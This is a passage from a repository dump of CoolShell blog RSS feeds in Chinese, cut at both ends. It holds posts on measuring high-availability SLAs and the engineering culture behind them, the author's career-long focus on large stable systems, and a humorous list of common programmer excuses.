Cluster采用了“完全同步”的数据复制的机制来冗余数据结点。这个方案接近5个9。</li>\n</ul>\n<p>那么，这些2个9，3个9，4个9，5个9是什么意思呢？又是怎么来的呢？请往下看。</p>\n<h4>高可用性的SLA的定义</h4>\n<p><strong>上面那些都不是本文的重点，本文的重点现在开始，如何测量系统的高可用性</strong>。当然是SLA，全称<a href=\"https://en.wikipedia.org/wiki/Service-level_agreement\" target=\"_blank\">Service Level Agrement</a>，也就是有几个9的高可用性。</p>\n<p>工业界有两种方法来测量SLA，</p>\n<ul>\n<li>一个是故障发生到恢复的时间</li>\n<li>另一个是两次故障间的时间</li>\n</ul>\n<p>但大多数都采用第一种方法，也就是故障发生到恢复的时间，也就是服务不可用的时间，如下表所示：</p>\n<table class=\"wikitable\" align=\"center\">\n<tbody>\n<tr>\n<th>系统可用性%</th>\n<th>宕机时间/年</th>\n<th>宕机时间/月</th>\n<th>宕机时间/周</th>\n<th>宕机时间/天</th>\n</tr>\n<tr>\n<td align=\"left\">90% (1个9)</td>\n<td>36.5 天</td>\n<td>72 小时</td>\n<td>16.8 小时</td>\n<td>2.4 小时</td>\n</tr>\n<tr>\n<td align=\"left\">99% (2个9)</td>\n<td>3.65 天</td>\n<td>7.20 小时</td>\n<td>1.68 小时</td>\n<td>14.4 分</td>\n</tr>\n<tr>\n<td align=\"left\">99.9% (3个9)</td>\n<td>8.76 小时</td>\n<td>43.8 分</td>\n<td>10.1 分钟</td>\n<td>1.44 分</td>\n</tr>\n<tr>\n<td align=\"left\">99.99% (4个9)</td>\n<td>52.56 分</td>\n<td>4.38 分</td>\n<td>1.01 分钟</td>\n<td>8.66 秒</td>\n</tr>\n<tr>\n<td align=\"left\">99.999% (5个9)</td>\n<td>5.26 分</td>\n<td>25.9 秒</td>\n<td>6.05 秒</td>\n<td>0.87 秒</td>\n</tr>\n</tbody>\n</table>\n<p>比如，99.999%的可用性，一年只能有5分半钟的服务不可用。感觉很难做到吧。</p>\n<p><strong>就算是3个9的可用性，一个月的宕机时间也只有40多分钟，看看那些设计和编码不认真的团队，把所有的期望寄托在人肉处理故障的运维团队， 一个故障就能处理1个多小时甚至2-3个小时，连个自动化的工具都没有，还好意思在官网上声明自己的SLA是3个9或是5个9，这不是欺骗大众吗？</strong>。</p>\n<h4>影响高可用的因素</h4>\n<p>老实说，我们很难计算我们设计的系统有多少的可用性，因为影响一个系统的因素实在是太多了，除了软件设计，还有硬件，还有每三方的服务（如电信联通的宽带SLA），当然包括“建筑施工队的挖掘机”。所以，正如SLA的定义，<strong>这不仅仅只是一个技术指标，而是一种服务提供商和用户之间的contract或契约</strong>。<strong>这种工业级的玩法，就像飞机一样，并不是把飞机造出来就好了，还有大量的无比专业的配套设施、工具、流程、管理和运营</strong>。</p>\n<p>简而言之，SLA的几个9就是能持续提供可用服务的级别，不过，工业界中，会把服务不可用的因素分成两种：一种是有计划的，一种是无计划的。</p>\n<h5>无计划的宕机原因</h5>\n<p>下图来自Oracle的 《<a href=\"https://docs.oracle.com/cd/A91202_01/901_doc/rac.901/a89867/pshavdtl.htm\">High Availability Concepts and Best Practices</a>》</p>\n<p>&nbsp;</p>\n<h5><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-17467\" src=\"https://coolshell.cn/wp-content/uploads/2016/08/unplaned_downtime.gif\" alt=\"unplaned_downtime\" width=\"600\" height=\"602\" />有计划的宕机原因</h5>\n<p>下图来自Oracle的 《<a href=\"https://docs.oracle.com/cd/A91202_01/901_doc/rac.901/a89867/pshavdtl.htm\">High Availability Concepts and Best Practices</a>》</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-17466\" src=\"https://coolshell.cn/wp-content/uploads/2016/08/planned_downtime.gif\" alt=\"planned_downtime\" width=\"600\" height=\"356\" /></p>\n<p>&nbsp;</p>\n<p>我们可以看到，上面的宕机原因包括如下：</p>\n<p>无计划的</p>\n<ul>\n<li>系统级的故障 &#8211;  包括主机、操作系统、中间件、数据库、网络、电源以及外围设备</li>\n<li>数据和中介的故障 &#8211; 包括人员误操作、硬盘故障、数据乱了</li>\n<li>还有：自然灾害、人为破坏、以及供电问题。</li>\n</ul>\n<p>有计划的</p>\n<ul>\n<li>日常任务：备份，容量规划，用户和安全管理，后台批处理应用</li>\n<li>运维相关：数据库维护、应用维护、中间件维护、操作系统维护、网络维护</li>\n<li>升级相关：数据库、应用、中间件、操作系统、网络、包括硬件升级</li>\n</ul>\n<h4>真正决定高可用系统的本质原因</h4>\n<p>从上面这些会影响高可用的SLA的因素，你看到了什么？如果你还是只看到了技术方面或是软件设计的东西，那么你只看到了冰山一角。我们再仔细想一想，<strong>那个5个9的SLA在一年内只能是5分钟的不可用时间，5分钟啊，如果按一年只出1次故障，你也得在五分钟内恢复故障，让我们想想，这意味着什么？</strong></p>\n<p><strong>如果你没有一套科学的牛逼的软件工程的管理，没有牛逼先进的自动化的运维工具，没有技术能力很牛逼的工程师团队，怎么可能出现高可用的系统啊</strong>。</p>\n<p>是的，<strong>要干出高可用的系统，这TMD就是一套严谨科学的工程管理</strong>，其中包括但不限于了：</p>\n<ul>\n<li>软件的设计、编码、测试、上线和软件配置管理的水平</li>\n<li>工程师的人员技能水平</li>\n<li>运维的管理和技术水平</li>\n<li>数据中心的运营管理水平</li>\n<li>依赖于第三方服务的管理水平</li>\n</ul>\n<p>深层交的东西则是——对工程这门科学的尊重：</p>\n<ul>\n<li>对待技术的态度</li>\n<li>一个公司的工程文化</li>\n<li>领导者对工程的尊重</li>\n</ul>\n<p><strong>所以，以后有人在你面前提高可用，你要看的不是他的技术设计，而还要看看他们的工程能力，看看他们公司是否真正的尊重工程这门科学</strong>。</p>\n<h4>其它</h4>\n<p>有好些非技术甚至技术人员和我说过，做个APP做个网站，不就是找几个码农过来写写代码嘛。等系统不可用的时候，他们才会明白，要找技术能力比较强的人，但是，<strong>就算你和他们讲一万遍道理，他们也很难会明白写代码怎么就是一种工程了，而工程怎么就成了一门科学了。其实，很多做技术的人都不明白这个道理</strong>。</p>\n<p>包括很多技术人员也永远不会理解，为什么要做好多像Code Review、自动化运维、自动化测试、持续集成之类这样很无聊的东西。就像我在《<a href=\"https://coolshell.cn/articles/11432.html\" target=\"_blank\">从Code Review 谈如何做技术</a>》中提到的，阿里很多的工程师，架构师/专家，甚至资深架构师都没有这个意识，当然，这不怪他们，因为经历决定思维方式，他们的经历的是民用级的系统，做的都是堆功能的工作，的确不需要。</p>\n<p>看完这些，最后让我们都扪心自问一下，你还敢说你的系统是高可用的了么？ ;-)</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17680.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/02/gitlab-600-150x150.jpg\" alt=\"从Gitlab误删除数据库想到的\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17680.html\" class=\"wp_rp_title\">从Gitlab误删除数据库想到的</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/10910.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/01/trade-off-150x150.jpg\" alt=\"分布式系统的事务处理\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10910.html\" class=\"wp_rp_title\">分布式系统的事务处理</a></li><li ><a href=\"https://coolshell.cn/articles/9949.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg\" alt=\"IoC/DIP其实是一种管理思想\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9949.html\" class=\"wp_rp_title\">IoC/DIP其实是一种管理思想</a></li><li ><a href=\"https://coolshell.cn/articles/6775.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"Bret Victor &#8211; Inventing on Principle\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6775.html\" class=\"wp_rp_title\">Bret Victor &#8211; Inventing on Principle</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17459.html\">关于高可用的系统</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/17459.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>87</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>这多年来我一直在钻研的技术</title>\n\t\t<link>https://coolshell.cn/articles/17446.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/17446.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 18 Aug 2016 10:55:17 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[架构]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=17446</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>因为我是看到tinyfool 《那些年我赶过的时髦技术趋势》，在赞叹的时候，也让我对我有好些回忆，所以想写一篇回忆贴，本来觉得回忆是件挺让人沮喪的事，因为是老了...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/17446.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/17446.html\">这多年来我一直在钻研的技术</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright wp-image-17450 size-medium\" src=\"https://coolshell.cn/wp-content/uploads/2016/08/Architecture-Internships-Abroad-300x215.jpg\" alt=\"Architecture Internships Abroad\" width=\"300\" height=\"215\" />因为我是看到tinyfool 《<a href=\"http://weibo.com/ttarticle/p/show?id=2309404009795043653572\" target=\"_blank\">那些年我赶过的时髦技术趋势</a>》，在赞叹的时候，也让我对我有好些回忆，所以想写一篇回忆贴，本来觉得回忆是件挺让人沮喪的事，因为是老了的表现，但我写着写着，就歪了楼。看来，我还不老，还在拼博。下面是很多我的唠叨，你喜欢就读读，不喜欢就TLDR &#8211; Too Long, Don&#8217;t Read!</p>\n<p>自从98年毕业，到今天，参加工作有18个年头了，加上在大三的时候就为两个在外面接活的老师程序，到今天，写的程序被用到生产线也有18个年头了。</p>\n<h4>背景经历</h4>\n<p>要说明我技术上的“性取向”，还得我说说的我的一些背景和经历。</p>\n<p>我这18年，大约分三个阶段：</p>\n<ul>\n<li><b>1996年-2000年</b>：<b>入门乱来期</b>，大三大四加在银行工作的两年。\n<ul>\n<li><span class=\"font\" style=\"color: #333333;\"><span class=\"font\" style=\"color: #333333;\">用Powerbuilder/Delphi在WindowsNT/SQL Server上做了好多个MIS管理软件，有酒店的，有送水的，有OA的。</span></span></li>\n<li><span class=\"font\" style=\"color: #333333;\"><span class=\"font\" style=\"color: #333333;\"> 用Java的Applet做了一个Web的教学课件，用于在Win95/IE3.0中演示操作系统中的各种调度和算法的动画，得了个全国大学生挑战者杯的鼓励奖。</span></span></li>\n<li><span class=\"font\" style=\"color: #333333;\"> 用Delphi的ISAPI技术以及PHP/ASP给一些公司和大学做过几个网站。</span></li>\n</ul>\n</li>\n</ul>\n<p><span id=\"more-17446\"></span></p>\n<ul>\n<li><b>2000年-2010年</b>：<b>技术学习期</b>，这十年，我主要的编程语言是C/C++。\n<ul>\n<li>前两年在银行用C语言在Unix（AIX/Solaris/Sco Unix/HP-UX..）写各种银行业务（用C语言写），用C写操作SQL，操作界面，写业务交易逻辑，一切都用C……，这是一个C语言的年代，<strong>当时，全国的银行都在做大集中，银行是当时行业里最大的软件系统了，所以，我确定了C/C++/Unix的技术方向</strong>，我当时的网上签名是，<em>C/C++/Unix才是大规模杀伤性武器</em>。</li>\n<li>然后，2002年在Platform做一个全平台的（包括Unix/Linux/Windows）高性能计算的软件产品，很像今天的Hadoop，当时叫Grid Computing，主要用低廉的x86集群进行大规模的并行计算，主要用于芯片设计行业，如：ARM和德州仪器，或是科研，如NASA，或是国家安全，如美国国防部的影像分析，或是3D动画渲染，如怪物史瑞克……从05年以后，发现很多用户开始从Unix迁移到Linux，于是开始更为关注Linux的Kernel知识。<strong>Platform有一套很严谨的软件工程体系，我对严谨的软件工程以及很多的基础的技术的认识在这里形成</strong>。</li>\n<li>2007年在路透做路透全球金融数据Real-Time网络的高性能调优（我在《<a href=\"https://coolshell.cn/articles/17381.html\">性能测试应该怎么做？</a>》一文中透露过这个公司的性能要求，是一个实时的数据网络，对于99.9%的网络传输在100K的tps下要低于1ms，技术挑战是很大的），在路透，我只干一个事，就是性能优化，我把我负责的几个系统的性能都提升了8倍到15倍的样子，09年年底的时候，我已把未来3年的优化的活都干完了。所以，这个时期，我也开始了我的经理生涯。<strong>我对性能调优，高可用系统架构，研发管理的很多是在这里形成的。</strong></li>\n</ul>\n</li>\n<li><b>2010年到今天</b>，<b>技术沉淀期</b>，这个时间段，主要的编程语言是Java。\n<ul>\n<li>这段时间，我加入了Amazon和Alibaba，也就是所谓的互联网公司。在Amazon干了两个事，一个是把Amazon全球的marketplace连起来，跨大洲的数据中心的通信，还有一个是第一次接触大数据和机器学习——用户需求预测系统。在Alibaba干过电商云平台聚石塔和阿里云，去阿里最主要的是经历双十一。</li>\n<li>这段时间，对我影响比较大的是Amazon，技术不再是我的瓶颈，大规模的系统，对我也不是问题，而让我收获最大的是，<strong>世界前沿的软件设计架构和解决方案，以及做技术的态度和工程的方法，我的眼界、脑洞和视野都巨大的打开，并且在技术管理、工程管理、产品管理、人员管理、公司管理等等管理方面的思维有了质的提升</strong>。这段时间，才是我真正技术沉淀的时期。</li>\n</ul>\n</li>\n</ul>\n<p>我的这个背景本来可以更好一些，只可惜运气不太好，本来可以走的更快的，无奈在最关键的时候遇到了两次金融危机，本来可以去硅谷更牛更好的公司见世面，无奈父母身体欠安，只能放弃。</p>\n<h4>经历决定思维方式</h4>\n<p>通过我的背景经历，大家不难看到，我基本上都是做一些规模比较大的系统和软件，而且，主要用C/C++/Unix/Linux这样比较晦涩的语言和操作系统。我们知道用C和C++开发，基本上要处理的错误都是和系统底层相应的东西，而上规模的系统和软件，又总是会遇到很多“稀奇古怪”的问题，这些问题，都会逼着我要去了解很多的操作系统、计算机系统、网络、数据库、中间件等等的各种基础或底层技术。</p>\n<p>而且我经历的基本上都是非常严谨的软件工程，不能马虎，我有几次马虎的经历，给我造成了非常大的心理影响，比如，曾经被定性为不适合写代码，因为我的代码太烂，或是出了严重的故障，几乎要跑路去了。另外，全球gloabl式的oncall，经常让我在凌晨被电话叫起来解决问题，这个经历比较痛苦。所以，<strong>我的整个经历，让我养成了，在软件开发上必需也不得不严谨的习惯和价值观体系</strong>。</p>\n<p><strong>大家想想，用C/C++开发一个几乎不能出故障的软件系统，你需要多仔细和多严谨的态度才能达到要求？</strong>因此，我的经历让我不能马虎，也不能应付工作，更不能在标准上有所妥协，还需要不断地提高标准，所以，时间一长，我必然，会有如下的习惯：</p>\n<ul>\n<li><strong>要做到——知其然，知其所以然</strong>。所以，只能不断的学习基础知识以及和这个技术关联的知识，就像Wikipeida一样，当你进入一个词条的时候，就会伴随时一堆新词条，于是，当多年后，我看到 “<strong><a href=\"https://coolshell.cn/articles/4235.html\" target=\"_blank\">知识广度是深度的副产品</a></strong>”这句话时，简直就是说到我的心里去了。</li>\n</ul>\n<ul>\n<li><strong>要做出工业级的软件</strong>。从银行到Platform到Thomson Reuters再到Amazon，软件开发上都会有SLA的要求。我认为，一个软件是工业级还是民用级的，除了功能正确之外，最重要的一个指标之一就是在性能和稳定性上有没有SLA。绝大多数的互联网公司和开源软件都没有SLA。所以，达不到工业级的标准。<strong>要达到工业级的标准，就需要花费时间、人力和财力进行非常繁琐的设计、测试评估以及运维管理</strong>。</li>\n</ul>\n<ul>\n<li><strong>工业级的软件来自工业级专业人员和专业软件工程</strong>。\n<ul>\n<li><strong>专业的人员</strong>。为什么绝大多数的外国公司需要的是CS（Computer Science）背景毕业的工程师？因为他们要做的是工业级的软件，这是一门科学，即然是科学，就需要受过良好的科学教育的CS专业的人。</li>\n<li><strong>专业的工程</strong>。工业级的软件需要有工业级的软件工程，比如，严谨的Design/Code Review，严格的测试，以及完备的线上运维。</li>\n<li><strong>专业的工具</strong>。这个时候，你就会发现，要做到高级别的SLA，比如包括5个9以上的SLA，人肉干活的能力已经完全跟不上了，你需要大量的专业的与之配套工具。<strong>人类之所以聪明是因为会发明工具，所以，这也是工业级的另一个标准——你有多少现代化的支撑工具？</strong></li>\n</ul>\n</li>\n</ul>\n<p>在之前的《<a href=\"https://coolshell.cn/articles/11656.html\" target=\"_blank\">开发团队的效率</a>》一文中，我说过——<strong>你总需要在一个环节上认真，这个环节越往前就越有效率，越往后你就越没效率</strong>。要么你设计和编码认真点，不然，你就得在测试上认真点。要是你设计、编码、测试都不认真，那你就得在运维上认真，就得在处理故障上认真。你总需要在一个地方认真。</p>\n<p>认真是痛苦和艰难的，也是需要苦苦坚持的，因为人太容易妥协了，这对每个人来说都是一种不小的挑战。老实说，<strong>我与很多人对“认真”的标准不一样，所以，产生了很多分歧，很多人说我太理想了。其实，我能理解他们，一方面是因为我的标准是比较高了，另一方面是他们只做过民用级的软件。</strong></p>\n<p>另外，在一开始，做惯了工业级软件的我极度地不适应于那些糙快猛的开发方式。不过，我也在调整自己，毕竟，世界不只一种价值观，有的是工业级的软件，有的则是民用级的，还有的只是个玩具，而且还有Java这门语言非常有效地屏蔽了很多底层和基础知识，所以，也不可一概而论，我也在适应一些民用级的软件开发的方式。</p>\n<h4>后记</h4>\n<p>从去年我从阿里离开到现在14个月了，这段时间内，我给大约40多家公司做过相应的技术咨询和解决过很多技术问题，绝大多数公司都是因为性能和稳定性的问题来找我的，我给这些公司解决问题的时候，基本都是这样的Pattern：</p>\n<ul>\n<li>一开始，发现都是一些技术知识点的问题，</li>\n<li>然后，马上进入到系统架构方面方面的问题，</li>\n<li>当再解决架构问题的时候，我发现，已经是软件工程的问题，</li>\n<li>而软件工程问题的后面，又是公司管理上的问题</li>\n<li>而公司管理的问题，结果又到了人的问题上</li>\n<li>而人的问题，又到了公司文化的问题……</li>\n</ul>\n<p>你看，很多问题，一环扣一环，最终都不是一个简单的技术问题。我倒不是说，我在抱怨这些问题，我更不是在说能解决这些问题，因为，就像软件工程没有银弹一样，无论你给什么样的解决方案都会有问题，没有问题才是不科学的。我能做的是，观察这个公司的业务形态、和相关的思维方式，以及现有的资源和相应的技术实力，帮助他们从技术到管理上缓解或改善现有的问题。</p>\n<p>所以，我基本上来说，这近20年来，<strong>我只在专心研究一个事——如何做出一个性能高稳定性好的大规模的系统。</strong>在这个方向中，除了很多的基础和底层技术我需要吃透，我还需要在软件的开发工艺，软件工具，以及软件的线上运维，以及相关的管理上不断学习和思考，<strong>因为，只有技术、工具、工程、运维、人员这几个方面搞好了，才可能出现一个性能高且稳定性好的系统</strong>。</p>\n<p>之前对于我来说，我一直在鼓吹先进的管理和软件工程以及技术和工具。今天，对我来说，遇到最大的问题就是，在没有这些所谓的先进的东西的时候，除了我自己上手外，我是否还能解决相应的问题？因为我自己已经完全Scale不开了。</p>\n<p>有问题就有挑战，我每天都在思考，如何在不完美甚至残缺的环境下，解决这些公司的技术问题。每个人都要给自己一个目标。目前，我给自己的目标是——<strong>在残缺的环境下，能让用户不改一行代码，不动任何的架构，不改变用户很糟糕的软件开发的习惯，也不让用户作任何管理上的调整，能提升用户的软件系统的性能和稳定性</strong>。</p>\n<p>因为我相信技术，我相信有更好的技术，可以为用户完全透明的提升性能和稳定性，我大致找到了相应的解，现在，我正在实践的路上，这也许是笔大买卖，所以我不知天高地厚地注册了自己的公司……</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"http://coolshell.cn/articles/4235.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/04/wisdom-225x300-150x150.jpg\" alt=\"程序员的谎谬之言还是至理名言？\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/4235.html\" class=\"wp_rp_title\">程序员的谎谬之言还是至理名言？</a></li><li ><a href=\"http://coolshell.cn/articles/9156.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/03/rework-150x150.jpg\" alt=\"《Rework》摘录及感想\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/9156.html\" class=\"wp_rp_title\">《Rework》摘录及感想</a></li><li ><a href=\"http://coolshell.cn/articles/10688.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/11/StackOverflow-Analysis-01-150x150.jpg\" alt=\"编程能力与编程年龄\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/10688.html\" class=\"wp_rp_title\">编程能力与编程年龄</a></li><li ><a href=\"http://coolshell.cn/articles/11656.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/06/software_development-150x150.png\" alt=\"开发团队的效率\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/11656.html\" class=\"wp_rp_title\">开发团队的效率</a></li><li ><a href=\"http://coolshell.cn/articles/10217.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/07/Work-Overtime-150x150.jpg\" alt=\"加班与效率\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/10217.html\" class=\"wp_rp_title\">加班与效率</a></li><li ><a href=\"http://coolshell.cn/articles/11432.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/04/code_review-150x150.jpg\" alt=\"从Code Review 谈如何做技术\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/11432.html\" class=\"wp_rp_title\">从Code Review 谈如何做技术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17446.html\">这多年来我一直在钻研的技术</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/17446.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>134</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-40.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 40 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=40\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Tue, 12 Apr 2011 07:15:31 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>程序员惯用的解释(Top 25)</title>\n\t\t<link>https://coolshell.cn/articles/1174.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1174.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 24 Jul 2009 03:32:35 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1174</guid>\n\n\t\t\t\t\t<description><![CDATA[<p> 下面是程序员日常工作当中惯用的解释，或是口头禅。我们可以从这一个侧面来看看的程序员的特征和性格，相信你我都说过很多这样的话。不要太认真哦，呵呵。 在我这边的电...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1174.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1174.html\">程序员惯用的解释(Top 25)</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script> 下面是程序员日常工作当中惯用的解释，或是口头禅。我们可以从这一个侧面来看看的程序员的特征和性格，相信你我都说过很多这样的话。不要太认真哦，呵呵。</p>\n<ol>\n<li>在我这边的电脑上可以工作啊……</li>\n<li>我重来没有听过这样的事</li>\n<li>昨天还能正常工作呢</li>\n<li>好吧，这算一个BUG</li>\n<li>这怎么可能？</li>\n<li>这应该是机器或是环境的问题<br />\n<span id=\"more-1174\"></span></li>\n<li>操作系统更新了吗？</li>\n<li>一定又是用户那边的错</li>\n<li>你的测试数据一定有问题</li>\n<li>我从来没有碰过那边的代码！</li>\n<li>是的，是的，我会准备完成</li>\n<li>一定是你搞错了</li>\n<li>哦，这正是我们开发的功能</li>\n<li>我就快准备好了</li>\n<li>\n<div id=\"result_box\" style=\"TEXT-ALIGN: left\" dir=\"ltr\">当然，还需要做的就只剩修改这些小Bug了。</div>\n</li>\n<li>\n<div style=\"TEXT-ALIGN: left\" dir=\"ltr\">我会马上做完的</div>\n</li>\n<li>最近太不顺了</li>\n<li>我不可能测试所有的case!</li>\n<li>那根本不可能做到</li>\n<li>我记得我已经改了这个bug了</li>\n<li>我做完了，只不过还没有测试过</li>\n<li>程序应该可以工作，只不过还没有测试过</li>\n<li>一定是有人改了我的代码</li>\n<li>你的机器上一定中了什么病毒或木马</li>\n<li>就算是程序有问题，那又怎么样？</li>\n</ol>\n<p>呵呵，是这样的吗？希望你能分享你所经历的程序员的解释。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" 